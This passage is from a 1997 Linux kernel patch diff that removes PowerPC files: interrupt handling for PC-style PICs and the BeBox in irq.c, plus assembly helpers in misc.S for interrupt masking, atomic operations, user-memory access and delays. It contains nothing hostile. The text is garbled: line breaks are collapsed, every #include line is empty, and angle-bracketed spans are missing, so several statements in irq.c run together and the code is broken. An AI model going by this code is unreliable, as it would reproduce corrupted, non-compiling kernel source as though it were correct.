mtsr SR6,r0 - lwz r0,MMU_SEG7(r4) - mtsr SR7,r0 -#if 0 - /* segs 8-15 are shared by everyone -- don't need to be changed */ - lwz r0,MMU_SEG8(r4) - mtsr SR8,r0 - lwz r0,MMU_SEG9(r4) - mtsr SR9,r0 - lwz r0,MMU_SEG10(r4) - mtsr SR10,r0 - lwz r0,MMU_SEG11(r4) - mtsr SR11,r0 - lwz r0,MMU_SEG12(r4) - mtsr SR12,r0 - lwz r0,MMU_SEG13(r4) - mtsr SR13,r0 - lwz r0,MMU_SEG14(r4) - mtsr SR14,r0 - lwz r0,MMU_SEG15(r4) - mtsr SR15,r0 -#endif - /* no need to invalidate tlb since each process has a distinct - set of vsid's. -- Cort */ -#if 0 - tlbia /* Invalidate entire TLB */ - BUMP(__TLBIAs) -#endif - /* p5.2 603 users manual - with addr transl. enabled, - the memory access is performed under the control of - the page table entry. I interpret this to mean that - it is tagged with the vsid -- so no need to flush here - since each process has a distinct set of vsid's. - Of course, my intepretation may be wrong. - -- Cort */ - /*bl _EXTERN(flush_instruction_cache)*/ - RETURN_FROM_INT(0x0f0f) - - -/* - * This routine is just here to keep GCC happy - sigh... - */ -_GLOBAL(__main) - blr - - .data - .globl sdata -sdata: - .space 2*4096 - -#if 0 -_GLOBAL(sys_stack) -sys_stack: - .space 4096 -#endif -CPU1_stack: - - .globl empty_zero_page -empty_zero_page: - .space 4096 - - .globl swapper_pg_dir -swapper_pg_dir: - .space 4096 - -/* - * This space gets a copy of optional info passed to us by the bootstrap - * Used to pass parameters into the kernel like root=/dev/sda1, etc. - */ - .globl cmd_line -cmd_line: - .space 512 - -#ifdef STATS -/* - * Miscellaneous statistics - gathered just for performance info - */ - .globl _INTR_stats -_INTR_stats: - .globl __Instruction_TLB_Misses -__Instruction_TLB_Misses: - .long 0,0 /* Instruction TLB misses */ - .globl __DataLoad_TLB_Misses -__DataLoad_TLB_Misses: - .long 0,0 /* Data [load] TLB misses */ - .globl __DataStore_TLB_Misses -__DataStore_TLB_Misses: - .long 0,0 /* Data [store] TLB misses */ - .globl __Instruction_Page_Faults -__Instruction_Page_Faults: - .long 0,0 /* Instruction page faults */ - .globl __Data_Page_Faults -__Data_Page_Faults: - .long 0,0 /* Data page faults */ - .globl __Cache_Flushes -__Cache_Flushes: - .long 0,0 /* Explicit cache flushes */ - .globl __Context_Switches -__Context_Switches: - .long 0,0 /* Context switches */ - .globl __Hardware_Interrupts -__Hardware_Interrupts: - .long 0,0 /* I/O interrupts (disk, timer, etc) */ - .globl __TLBIAs - .globl __TLBIAs -__TLBIAs: - .long 0,0 /* TLB cache forceably flushed */ - .globl __TLBIEs -__TLBIEs: - .long 0,0 /* Specific TLB entry flushed */ -#endif - - .globl _TotalMemory -_TotalMemory: - .long 0,0 - -/* - * This location is used to break any outstanding "lock"s when - * changing contexts. - */ -_break_lwarx: .long 0 - - diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/irq.c linux/arch/ppc/kernel/irq.c --- linux-2.1.29/arch/ppc/kernel/irq.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/irq.c Wed Dec 31 19:00:00 1969 @@ -1,651 +0,0 @@ -/* - * linux/arch/ppc/kernel/irq.c - * - * Copyright (C) 1992 Linus Torvalds - * Adapted from arch/i386 by Gary Thomas - * Modified by Cort Dougan (cort@cs.nmt.edu) - * - * This file contains the code used by various IRQ handling routines: - * asking for different IRQ's should be done through these routines - * instead of just grabbing them. Thus setups with different IRQ numbers - * shouldn't result in any weird surprises, and installing new handlers - * should be easier. - */ - -/* - * IRQ's are in fact implemented a bit like signal handlers for the kernel. - * Naturally it's not a 1:1 relation, but there are similarities. - */ - -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include - -inline int get_irq_list(char *); -void check_irq(void); -void BeBox_CPU1(void); -void BeBox_state(void); -int BeBox_irq(void); -void show_BeBox_state(void); -void BeBox_enable_irq(int ); -void BeBox_disable_irq(int ); -void BeBox_init_IRQ(void); -void _do_bottom_half(void); -static _NOP(void); -static _delay(void); -void hard_disk_LED(int state); - - -#define SHOW_IRQ -#undef SHOW_IRQ - -/* - * For the BeBox, interrupt numbers are 0..15 for 8259 PIC interrupts - * and 16..31 for other BeBox motherboard type interrupts. - */ - -unsigned long isBeBox[]; -unsigned char *BeBox_IO_page; - -static unsigned char cache_21 = 0xff; -static unsigned char cache_A1 = 0xff; - -void disable_irq(unsigned int irq_nr) -{ - unsigned char mask; - int s = _disable_interrupts(); - - if (isBeBox[0] && (irq_nr >= 16)) - { - BeBox_disable_irq(irq_nr); - } else - { - mask = 1 << (irq_nr & 7); - if (irq_nr < 8) - { - cache_21 |= mask; - outb(cache_21,0x21); - } else - { - cache_A1 |= mask; - outb(cache_A1,0xA1); - } - } - _enable_interrupts(s); -} - -void enable_irq(unsigned int irq_nr) -{ - unsigned char mask; - int s = _disable_interrupts(); - - if (isBeBox[0] && (irq_nr >= 16)) - { - BeBox_enable_irq(irq_nr); - _enable_interrupts(s); - return; - } else - { - mask = ~(1 << (irq_nr & 7)); - if (irq_nr < 8) { - cache_21 &= mask; - outb(cache_21,0x21); - } else - { - cache_A1 &= mask; - outb(cache_A1,0xA1); - } - } - _enable_interrupts(s); -} - -/* - * Irq handlers. - */ -struct irq_action { - void (*handler)(int, void *dev, struct pt_regs *); - unsigned long flags; - unsigned long mask; - const char *name; - int notified; - void *dev_id; -}; - -static struct irq_action irq_action[32] = { - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL }, - { NULL, 0, 0, NULL }, { NULL, 0, 0, NULL } -}; - - -inline int get_irq_list(char *buf) -{ - int i, len = 0; - struct irq_action * action = irq_action; - - for (i = 0; i < 32; i++, action++) { - if (!action->handler) - continue; - len += sprintf(buf+len, "%2d: %8d %c %s\n", - i, kstat.interrupts[i], - (action->flags & SA_INTERRUPT) ? '+' : ' ', - action->name); - } - return len; -} - -inline void -process_IRQ(int irq, int _irq, struct pt_regs *regs) -{ - struct irq_action *action; - intr_count++; - if (irq < 16) - { - /* Mask interrupt */ - if (irq > 7) - { - cache_A1 |= (1<<(irq-8)); - outb(cache_A1, 0xA1); - } else - { - cache_21 |= (1<handler(1, action->dev_id, regs); - } - count = 0; - } - } - if (action->handler) - { - action->handler(irq, action->dev_id, regs); - } else - { - printk("Bogus interrupt %d/%x, pc %x regs %x\n", - irq, _irq,regs->nip,regs); -#if 0 - printk("BeBox[] = %x/%x\n", isBeBox[0], isBeBox[1]); - show_BeBox_state(); - cnpause(); -#endif - } - if (_disable_interrupts() && !action->notified) - { - action->notified = 1; - printk("*** WARNING! %s handler [IRQ %d] turned interrupts on!\n", - action->name, irq); - } - if (irq < 16) - { - /* Issue EOI to interrupt controller */ - if (irq > 7) - { - outb(0xE0|(irq-8), 0xA0); - outb(0xE2, 0x20); - } else - { - outb(0xE0|irq, 0x20); - } - if (!(action->flags & SA_ONESHOT)) - { - /* Re-enable interrupt */ - if (irq > 7) - { - cache_A1 &= ~(1<<(irq-8)); - outb(cache_A1, 0xA1); - } else - { - cache_21 &= ~(1< IRQ8..IRQ15 */ - outb(0x0C, 0xA0); - irq = (_irq = inb(0xA0)) & 0x07; - irq += 8; - } - } - process_IRQ(irq, _irq, regs); - - /* Sometimes, the cascaded IRQ controller get's "stuck" */ - if ((irq == 0) && (_ints++ == 100)) - { - _ints = 0; - outb(0x0A, 0xA0); _irq = inb(0xA0); - if (_irq & ~cache_A1) - { /* Figure out which IRQs are present */ - _irq &= ~cache_A1; - for (irq = 0; irq < 7; irq++) - { - if (_irq & (1< 15) - { - if (!isBeBox[0] || (irq > 31)) - return -EINVAL; - } - action = irq + irq_action; - if (action->handler) - return -EBUSY; - if (!handler) - return -EINVAL; - save_flags(flags); - cli(); - action->handler = handler; - action->flags = irqflags; - action->mask = 0; - action->name = devname; - action->dev_id = dev_id; - enable_irq(irq); - restore_flags(flags); - return 0; -} - -void free_irq(unsigned int irq, void *dev_id) -{ - struct irq_action * action = irq + irq_action; - unsigned long flags; - - if (irq > 31) { - printk("Trying to free IRQ%d\n",irq); - return; - } - if (!action->handler) { - printk("Trying to free free IRQ%d\n",irq); - return; - } - disable_irq(irq); - save_flags(flags); - cli(); - action->handler = NULL; - action->flags = 0; - action->mask = 0; - action->name = NULL; - action->dev_id = NULL; - restore_flags(flags); -} - -#define SA_PROBE SA_ONESHOT - -static void no_action(int irq, void *dev, struct pt_regs * regs) -{ -#ifdef DEBUG - printk("Probe got IRQ: %d\n", irq); -#endif -} - -unsigned long probe_irq_on (void) -{ - unsigned int i, irqs = 0, irqmask; - unsigned long delay; - - /* first, snaffle up any unassigned irqs */ - for (i = 15; i > 0; i--) { - if (!request_irq(i, no_action, SA_PROBE, "probe", NULL)) { - enable_irq(i); - irqs |= (1 << i); - } - } - - /* wait for spurious interrupts to mask themselves out again */ - for (delay = jiffies + 2; delay > jiffies; ); /* min 10ms delay */ - - /* now filter out any obviously spurious interrupts */ - irqmask = (((unsigned int)cache_A1)<<8) | (unsigned int)cache_21; - for (i = 15; i > 0; i--) { - if (irqs & (1 << i) & irqmask) { - irqs ^= (1 << i); - free_irq(i, NULL); - } - } -#ifdef DEBUG - printk("probe_irq_on: irqs=0x%04x irqmask=0x%04x\n", irqs, irqmask); -#endif - return irqs; -} - -int probe_irq_off (unsigned long irqs) -{ - unsigned int i, irqmask; - - irqmask = (((unsigned int)cache_A1)<<8) | (unsigned int)cache_21; - for (i = 15; i > 0; i--) { - if (irqs & (1 << i)) { - free_irq(i, NULL); - } - } -#ifdef DEBUG - printk("probe_irq_off: irqs=0x%04x irqmask=0x%04x\n", irqs, irqmask); -#endif - irqs &= irqmask; - if (!irqs) - return 0; - i = ffz(~irqs); - if (irqs != (irqs & (1 << i))) - i = -i; - return i; -} - -void init_IRQ(void) -{ - int i; - - if ((_get_PVR()>>16) == 1) /* PPC 601 */ - { /* Nobis? */ - reset_int_controllers(); - } -#define TIMER0_COUNT 0x40 -#define TIMER_CONTROL 0x43 - /* set the clock to 100 Hz */ - outb_p(0x34,TIMER_CONTROL); /* binary, mode 2, LSB/MSB, ch 0 */ - outb_p(LATCH & 0xff , TIMER0_COUNT); /* LSB */ - outb(LATCH >> 8 , TIMER0_COUNT); /* MSB */ - if (request_irq(2, no_action, SA_INTERRUPT, "cascade", NULL)) - printk("Unable to get IRQ2 for cascade\n"); - request_region(0x20,0x20,"pic1"); - request_region(0xa0,0x20,"pic2"); - - /* Make sure IRQ2 (cascade) interrupt is "level" based */ - outb(inb(0x4D0)|0x04, 0x4D0); /* IRQ2 level based */ - - /* Set up PCI interrupts */ - route_PCI_interrupts(); - - if (isBeBox[0]) - { - BeBox_init_IRQ(); - } -} - -/* - * Wrapper for "bottom 1/2" of interrupt processing. This routine - * is called whenever an interrupt needs non-interrupt-time service. - */ - -void _do_bottom_half(void) -{ - _enable_interrupts(1); - do_bottom_half(); - _disable_interrupts(); -} - -void hard_disk_LED(int state) -{ - if (_Processor == _PROC_IBM) { - outb(state, IBM_HDD_LED); - } -} - - -/* - * Support for interrupts on the BeBox - */ - -#define CPU0_INT_MASK (volatile unsigned long *)(BeBox_IO_page+0x0F0) -#define CPU1_INT_MASK (volatile unsigned long *)(BeBox_IO_page+0x1F0) -#define INT_SOURCE (volatile unsigned long *)(BeBox_IO_page+0x2F0) -#define CPU_RESET (volatile unsigned long *)(BeBox_IO_page+0x4F0) - -#define _CPU0_INT_MASK (volatile unsigned long *)(0xA0000000+0x0F0) -#define _CPU1_INT_MASK (volatile unsigned long *)(0xA0000000+0x1F0) -#define _INT_SOURCE (volatile unsigned long *)(0xA0000000+0x2F0) -#define _CPU_RESET (volatile unsigned long *)(0xA0000000+0x4F0) - -#define CPU_HRESET 0x20000000 -#define CPU_SRESET 0x40000000 - -#define SCSI_IRQ 16 - -#define INT_SCSI (1<<21) -#define INT_8259 (1<<5) - -/* - * Map of pseudo IRQs to actual bits - * Note: We give out IRQ #16..31 for all interrupt sources which are - * not found in the 8259 PIC. - */ - -unsigned long BeBox_IRQ_map[] = - { - INT_SCSI, /* 16 - SCSI */ - 0x00000000, /* 17 - Unused */ - 0x00000000, /* 18 - Unused */ - 0x00000000, /* 19 - Unused */ - 0x00000000, /* 20 - Unused */ - 0x00000000, /* 21 - Unused */ - 0x00000000, /* 22 - Unused */ - 0x00000000, /* 23 - Unused */ - 0x00000000, /* 24 - Unused */ - 0x00000000, /* 25 - Unused */ - 0x00000000, /* 26 - Unused */ - 0x00000000, /* 27 - Unused */ - 0x00000000, /* 28 - Unused */ - 0x00000000, /* 29 - Unused */ - 0x00000000, /* 30 - Unused */ - 0x00000000, /* 31 - Unused */ - }; - -volatile int CPU1_alive; -volatile int CPU1_trace; - -static -_NOP(void) -{ -} - -static -_delay(void) -{ - int i; - for (i = 0; i < 100; i++) _NOP(); -} - -void -BeBox_init_IRQ(void) -{ - int tmr; - volatile extern long BeBox_CPU1_vector; - *CPU0_INT_MASK = 0x0FFFFFFC; /* Clear all bits? */ - *CPU0_INT_MASK = 0x80000003 | INT_8259; - *CPU1_INT_MASK = 0x0FFFFFFC; -printk("Start CPU #1 - CPU Status: %x\n", *CPU_RESET); - BeBox_CPU1_vector = 0x0100; /* Reset */ - tmr = 0; - while (CPU1_alive == 0) - { - if (++tmr == 1000) - { -printk("CPU #1 not there? - CPU Status: %x, Trace: %x\n", *CPU_RESET, CPU1_trace); - break; - } - _delay(); - } -printk("CPU #1 running!\n"); -} - -void -BeBox_disable_irq(int irq) -{ - /* Note: this clears the particular bit */ - *CPU0_INT_MASK = BeBox_IRQ_map[irq-16]; -} - -void -BeBox_enable_irq(int irq) -{ - int s = _disable_interrupts(); - /* Sets a single bit */ -#if 0 -printk("BeBox IRQ Mask = %x", *CPU0_INT_MASK); -#endif - *CPU0_INT_MASK = 0x80000000 | BeBox_IRQ_map[irq-16]; -#if 0 -printk("/%x\n", *CPU0_INT_MASK); -#endif - _enable_interrupts(s); -} - -void -show_BeBox_state(void) -{ - unsigned long cpu0_int_mask; - unsigned long int_state; - cpu0_int_mask = (*CPU0_INT_MASK & 0x0FFFFFFC) & ~INT_8259; - int_state = cpu0_int_mask & *INT_SOURCE; - printk("Ints[%x] = %x, Mask[%x] = %x/%x, State = %x\n", INT_SOURCE, *INT_SOURCE, CPU0_INT_MASK, *CPU0_INT_MASK, cpu0_int_mask, int_state); -} - -int -BeBox_irq(void) -{ - int i; - unsigned long cpu0_int_mask; - unsigned long int_state; - cpu0_int_mask = (*CPU0_INT_MASK & 0x0FFFFFFC) & ~INT_8259; - int_state = cpu0_int_mask & *INT_SOURCE; - if (int_state) - { /* Determine the pseudo-interrupt # */ -#if 0 - printk("Ints[%x] = %x, Mask[%x] = %x/%x, State = %x\n", INT_SOURCE, *INT_SOURCE, CPU0_INT_MASK, *CPU0_INT_MASK, cpu0_int_mask, int_state); -#endif - for (i = 0; i < 16; i++) - { - if (BeBox_IRQ_map[i] & int_state) - { - return (i+16); - } - } -printk("Ints[%x] = %x, Mask[%x] = %x/%x, State = %x\n", INT_SOURCE, *INT_SOURCE, CPU0_INT_MASK, *CPU0_INT_MASK, cpu0_int_mask, int_state); -printk("Can't find BeBox IRQ!\n"); - } - return (0); -} - -void BeBox_state(void) -{ - printk("Int state = %x, CPU0 mask = %x, CPU1 mask = %x\n", *INT_SOURCE, *CPU0_INT_MASK, *CPU1_INT_MASK); -} - -void BeBox_CPU1(void) -{ - CPU1_alive++; - while (1) ; -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/ksyms.c linux/arch/ppc/kernel/ksyms.c --- linux-2.1.29/arch/ppc/kernel/ksyms.c Sat May 10 18:16:53 1997 +++ linux/arch/ppc/kernel/ksyms.c Wed Dec 31 19:00:00 1969 @@ -1,4 +0,0 @@ -#include -#include - -/* platform dependent support */ diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/misc.S linux/arch/ppc/kernel/misc.S --- linux-2.1.29/arch/ppc/kernel/misc.S Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/misc.S Wed Dec 31 19:00:00 1969 @@ -1,859 +0,0 @@ -/* - * This module contains the PowerPC interrupt fielders - * set of code at specific locations, based on function - */ - -#include "ppc_asm.tmpl" -#include -#include -#include "ppc_defs.h" -#include - -/* Keep track of low-level exceptions - rather crude, but informative */ -#define STATS - -/* - * Increment a [64 bit] statistic counter - * Uses R2, R3 - */ -#define BUMP(ctr) \ - lis r2,ctr@h; \ - ori r2,r2,ctr@l; \ - lwz r3,4(r2); \ - addic r3,r3,1; \ - stw r3,4(r2); \ - lwz r3,0(r2); \ - addze r3,r3; \ - stw r3,0(r2) - -/*#ifdef CONFIG_603*/ -/* This instruction is not implemented on the PPC 603 */ -#define tlbia \ - li r4,64; \ - mtspr CTR,r4; \ - li r4,0; \ -0: tlbie r4; \ - addi r4,r4,0x1000; \ - bdnz 0b -/*#endif*/ /* CONFIG_603*/ - -_TEXT() -#define CPU_CTL 0x80000092 -_GLOBAL(hard_reset_now) - mfmsr r3 /* Disable interrupts */ - li r4,0 - ori r4,r4,MSR_EE - andc r3,r3,r4 - ori r3,r3,MSR_IP /* Set FLASH/ROM interrupt handlers */ - sync - mtmsr r3 - lis r3,CPU_CTL>>16 - ori r3,r3,(CPU_CTL&0xFFFF) - lbz r4,0(r3) /* Turn on SRESET */ - li r5,1 - andc r4,r4,r5 /* Make sure we go from 0->1 */ - stb r4,0(r3) - ori r4,r4,1 - stb r4,0(r3) /* This should do it! */ -99: nop - b 99b - -#if 0 -/* - unsigned short - le16_to_cpu(unsigned short val) -*/ -_GLOBAL(le16_to_cpu) - lis r4,_le_scratch@h - ori r4,r4,_le_scratch@l - sth r3,0(r4) - li r5,0 - lhbrx r3,r4,r5 - blr - -_GLOBAL(le32_to_cpu) - lis r4,_le_scratch@h - ori r4,r4,_le_scratch@l - stw r3,0(r4) - li r5,0 - lwbrx r3,r4,r5 - blr -_GLOBAL(_le_scratch) - .space 4 -#endif -#if 1 -/* -extern int __put_user_8(char, char *); -extern int __put_user_16(short, short *); -extern int __put_user_32(long, long *); -*/ -_GLOBAL(__put_user_8) - /* setup exception stuff */ - lis r2,current_set@ha - lwz r2,current_set@l(r2) - /* increment excount */ - lwz r6,TSS+TSS_EXCOUNT(r2) - addi r6,r6,1 - stw r6,TSS+TSS_EXCOUNT(r2) - /* set expc */ - lis r6,1f@h - ori r6,r6,1f@l - stw r6,TSS+TSS_EXPC(r2) - - stb r3,0(r4) - li r3,0 /* successful return */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr -1: li r3,-EFAULT /* bad access */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr - -_GLOBAL(__put_user_16) - /* setup exception stuff */ - lis r2,current_set@ha - lwz r2,current_set@l(r2) - /* increment excount */ - lwz r6,TSS+TSS_EXCOUNT(r2) - addi r6,r6,1 - stw r6,TSS+TSS_EXCOUNT(r2) - /* set expc */ - lis r6,1f@h - ori r6,r6,1f@l - stw r6,TSS+TSS_EXPC(r2) - - sth r3,0(r4) - li r3,0 /* successful return */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr -1: li r3,-EFAULT /* bad access */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr - -_GLOBAL(__put_user_32) - /* setup exception stuff */ - lis r2,current_set@ha - lwz r2,current_set@l(r2) - /* increment excount */ - lwz r6,TSS+TSS_EXCOUNT(r2) - addi r6,r6,1 - stw r6,TSS+TSS_EXCOUNT(r2) - /* set expc */ - lis r6,1f@h - ori r6,r6,1f@l - stw r6,TSS+TSS_EXPC(r2) - - stw r3,0(r4) - li r3,0 /* successful return */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr -1: li r3,-EFAULT /* bad access */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr - -_GLOBAL(__get_user_8) - /* setup exception stuff */ - lis r2,current_set@ha - lwz r2,current_set@l(r2) - /* increment excount */ - lwz r6,TSS+TSS_EXCOUNT(r2) - addi r6,r6,1 - stw r6,TSS+TSS_EXCOUNT(r2) - /* set expc */ - lis r6,1f@h - ori r6,r6,1f@l - stw r6,TSS+TSS_EXPC(r2) - - lbz r3,0(r4) - li r4,0 /* successful return */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr -1: li r4,-EFAULT /* bad access */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr - -_GLOBAL(__get_user_16) - /* setup exception stuff */ - lis r2,current_set@ha - lwz r2,current_set@l(r2) - /* increment excount */ - lwz r6,TSS+TSS_EXCOUNT(r2) - addi r6,r6,1 - stw r6,TSS+TSS_EXCOUNT(r2) - /* set expc */ - lis r6,1f@h - ori r6,r6,1f@l - stw r6,TSS+TSS_EXPC(r2) - - lhz r3,0(r4) - li r4,0 /* successful return */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr -1: li r4,-EFAULT /* bad access */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr - -_GLOBAL(__get_user_32) - /* setup exception stuff */ - lis r2,current_set@ha - lwz r2,current_set@l(r2) - /* increment excount */ - lwz r6,TSS+TSS_EXCOUNT(r2) - addi r6,r6,1 - stw r6,TSS+TSS_EXCOUNT(r2) - /* set expc */ - lis r6,1f@h - ori r6,r6,1f@l - stw r6,TSS+TSS_EXPC(r2) - lwz r3,0(r4) - li r4,0 /* successful return */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr -1: li r4,-EFAULT /* bad access */ - li r6,0 - stw r6,TSS+TSS_EXCOUNT(r2) - blr -#endif -/* - * Disable interrupts - * rc = _disable_interrupts() - */ -_GLOBAL(_disable_interrupts) - mfmsr r0 /* Get current interrupt state */ - rlwinm r3,r0,16+1,32-1,31 /* Extract old value of 'EE' */ - li r4,0 /* Need [unsigned] value of MSR_EE */ - ori r4,r4,MSR_EE /* Set to turn off bit */ - andc r0,r0,r4 /* Clears bit in (r4) */ - sync /* Some chip revs have problems here... */ - mtmsr r0 /* Update machine state */ - blr /* Done */ - -/* - * Enable interrupts - * _enable_interrupts(int state) - * turns on interrupts if state = 1. - */ -_GLOBAL(_enable_interrupts) - mfmsr r0 /* Get current state */ - rlwimi r0,r3,16-1,32-16,32-16 /* Insert bit */ - sync /* Some chip revs have problems here... */ - mtmsr r0 /* Update machine state */ - blr - -/* - * Get 'flags' (aka machine status register) - * __save_flags(long *ptr) - */ -_GLOBAL(__save_flags) - mfmsr r0 /* Get current state */ - stw r0,0(r3) - mr r3,r0 - blr - -/* - * Restore 'flags' - * __restore_flags(long val) - */ -_GLOBAL(__restore_flags) - sync /* Some chip revs have problems here... */ - mtmsr r3 - isync - blr - -/* - * Disable interrupts - like an 80x86 - * cli() - */ -_GLOBAL(cli) - mfmsr r0 /* Get current interrupt state */ - rlwinm r3,r0,16+1,32-1,31 /* Extract old value of 'EE' */ - li r4,0 /* Need [unsigned] value of MSR_EE */ - ori r4,r4,MSR_EE /* Set to turn off bit */ - andc r0,r0,r4 /* Clears bit in (r4) */ - sync /* Some chip revs have problems here... */ - mtmsr r0 /* Update machine state */ - blr /* Done */ - -/* - * Enable interrupts - like an 80x86 - * sti() - */ -_GLOBAL(sti) - mfmsr r0 /* Get current state */ - ori r0,r0,MSR_EE /* Turn on 'EE' bit */ - sync /* Some chip revs have problems here... */ - mtmsr r0 /* Update machine state */ - blr - -/* - * Flush MMU TLB - */ -_GLOBAL(_tlbia) - tlbia - BUMP(__TLBIAs) - blr - -/* - * Flush MMU TLB for a particular address - */ -_GLOBAL(_tlbie) - tlbie r3 - BUMP(__TLBIEs) - blr - -/* - * Fetch the current SR register - * get_SR(int index) - */ -_GLOBAL(get_SR) - mfsrin r3,r3 - blr - -/* - * Atomic [test&set] exchange - * - * void *xchg_u32(void *ptr, unsigned long val) - * Changes the memory location '*ptr' to be val and returns - * the previous value stored there. - */ -_GLOBAL(xchg_u32) - mr r5,r3 /* Save pointer */ -10: lwarx r3,0,r5 /* Fetch old value & reserve */ - stwcx. r4,0,r5 /* Update with new value */ - bne- 10b /* Retry if "reservation" (i.e. lock) lost */ - blr - -/* - * Atomic add/sub/inc/dec operations - * - * void atomic_add(int c, int *v) - * void atomic_sub(int c, int *v) - * void atomic_inc(int *v) - * void atomic_dec(int *v) - * void atomic_dec_and_test(int *v) - */ -_GLOBAL(atomic_add) -10: lwarx r5,0,r4 /* Fetch old value & reserve */ - add r5,r5,r3 /* Perform 'add' operation */ - stwcx. r5,0,r4 /* Update with new value */ - bne- 10b /* Retry if "reservation" (i.e. lock) lost */ - blr -_GLOBAL(atomic_sub) -10: lwarx r5,0,r4 /* Fetch old value & reserve */ - sub r5,r5,r3 /* Perform 'add' operation */ - stwcx. r5,0,r4 /* Update with new value */ - bne- 10b /* Retry if "reservation" (i.e. lock) lost */ - blr -_GLOBAL(atomic_inc) -10: lwarx r5,0,r3 /* Fetch old value & reserve */ - addi r5,r5,1 /* Perform 'add' operation */ - stwcx. r5,0,r3 /* Update with new value */ - bne- 10b /* Retry if "reservation" (i.e. lock) lost */ - blr -_GLOBAL(atomic_dec) -10: lwarx r5,0,r3 /* Fetch old value & reserve */ - subi r5,r5,1 /* Perform 'add' operation */ - stwcx. r5,0,r3 /* Update with new value */ - bne- 10b /* Retry if "reservation" (i.e. lock) lost */ - blr -_GLOBAL(atomic_dec_and_test) -10: lwarx r5,0,r3 /* Fetch old value & reserve */ - subi r5,r5,1 /* Perform 'add' operation */ - stwcx. r5,0,r3 /* Update with new value */ - bne- 10b /* Retry if "reservation" (i.e. lock) lost */ - cmpi 0,r5,0 /* Return 'true' IFF 0 */ - bne 15f - li r3,1 - blr -15: li r3,0 - blr - - -/* - * Delay for a specific # of "loops" - * __delay(int loops) - */ -_GLOBAL(__delay) - mtctr r3 -00: addi r3,r3,0 /* NOP */ - bdnz 00b - blr - -/* - * Delay for a number of microseconds - * udelay(int usecs) - */ -_GLOBAL(udelay) -00: li r0,86 /* Instructions / microsecond? */ - mtctr r0 -10: addi r0,r0,0 /* NOP */ - bdnz 10b - subic. r3,r3,1 - bne 00b - blr - -/* - * Atomically increment [intr_count] - */ -_GLOBAL(start_bh_atomic) - lis r3,intr_count@h - ori r3,r3,intr_count@l -10: lwarx r4,0,r3 - addi r4,r4,1 - stwcx. r4,0,r3 - bne- 10b - blr - -/* - * Atomically decrement [intr_count] - */ -_GLOBAL(end_bh_atomic) - lis r3,intr_count@h - ori r3,r3,intr_count@l -10: lwarx r4,0,r3 - subic r4,r4,1 - stwcx. r4,0,r3 - bne- 10b - blr - -/* - * I/O string operations - * - * insw(port, buf, len) - * outsw(port, buf, len) - */ -_GLOBAL(_insw) - mtctr r5 - subi r4,r4,2 -00: lhbrx r5,0,r3 - sthu r5,2(r4) - bdnz 00b - blr - -_GLOBAL(_outsw) - mtctr r5 - subi r4,r4,2 -00: lhzu r5,2(r4) - sthbrx r5,0,r3 - bdnz 00b - blr - -#if 0 -/* - *extern inline int find_first_zero_bit(void * vaddr, unsigned size) - *{ - * unsigned long res; - * unsigned long *p; - * unsigned long *addr = vaddr; - * - * if (!size) - * return 0; - * __asm__ __volatile__ (" moveq #-1,d0\n\t" - * "1:" - * " cmpl %1@+,d0\n\t" - * " bne 2f\n\t" - * " subql #1,%0\n\t" - * " bne 1b\n\t" - * " bra 5f\n\t" - * "2:" - * " movel %1@-,d0\n\t" - * " notl d0\n\t" - * " bfffo d0{#0,#0},%0\n\t" - * "5:" - * : "=d" (res), "=a" (p) - * : "0" ((size + 31) >> 5), "1" (addr) - * : "d0"); - * return ((p - addr) << 5) + res; - *} - */ -_GLOBAL(find_first_zero_bit) - li r5,0 /* bit # */ - subi r3,r3,4 /* Adjust pointer for auto-increment */ -00: lwzu r0,4(r3) /* Get next word */ - not. r7,r0 /* Complement to find ones */ - beq 10f /* Jump if all ones */ -02: andi. r7,r0,1 /* Check low-order bit */ - beq 20f /* All done when zero found */ - srawi r0,r0,1 - addi r5,r5,1 - b 02b -10: addi r5,r5,32 /* Update bit # */ - subic. r4,r4,32 /* Any more? */ - bgt 00b -20: mr r3,r5 /* Compute result */ - blr - -/* - *static inline int find_next_zero_bit (void *vaddr, int size, - * int offset) - *{ - * unsigned long *addr = vaddr; - * unsigned long *p = addr + (offset >> 5); - * int set = 0, bit = offset & 31, res; - * - * if (bit) { - * // Look for zero in first longword - * __asm__("bfffo %1{#0,#0},%0" - * : "=d" (set) - * : "d" (~*p << bit)); - * if (set < (32 - bit)) - * return set + offset; - * set = 32 - bit; - * p++; - * } - * // No zero yet, search remaining full bytes for a zero - * res = find_first_zero_bit (p, size - 32 * (p - addr)); - * return (offset + set + res); - *} - */ -_GLOBAL(find_next_zero_bit) - addi r5,r5,1 /* bump offset to start */ - srawi r6,r5,5 /* word offset */ 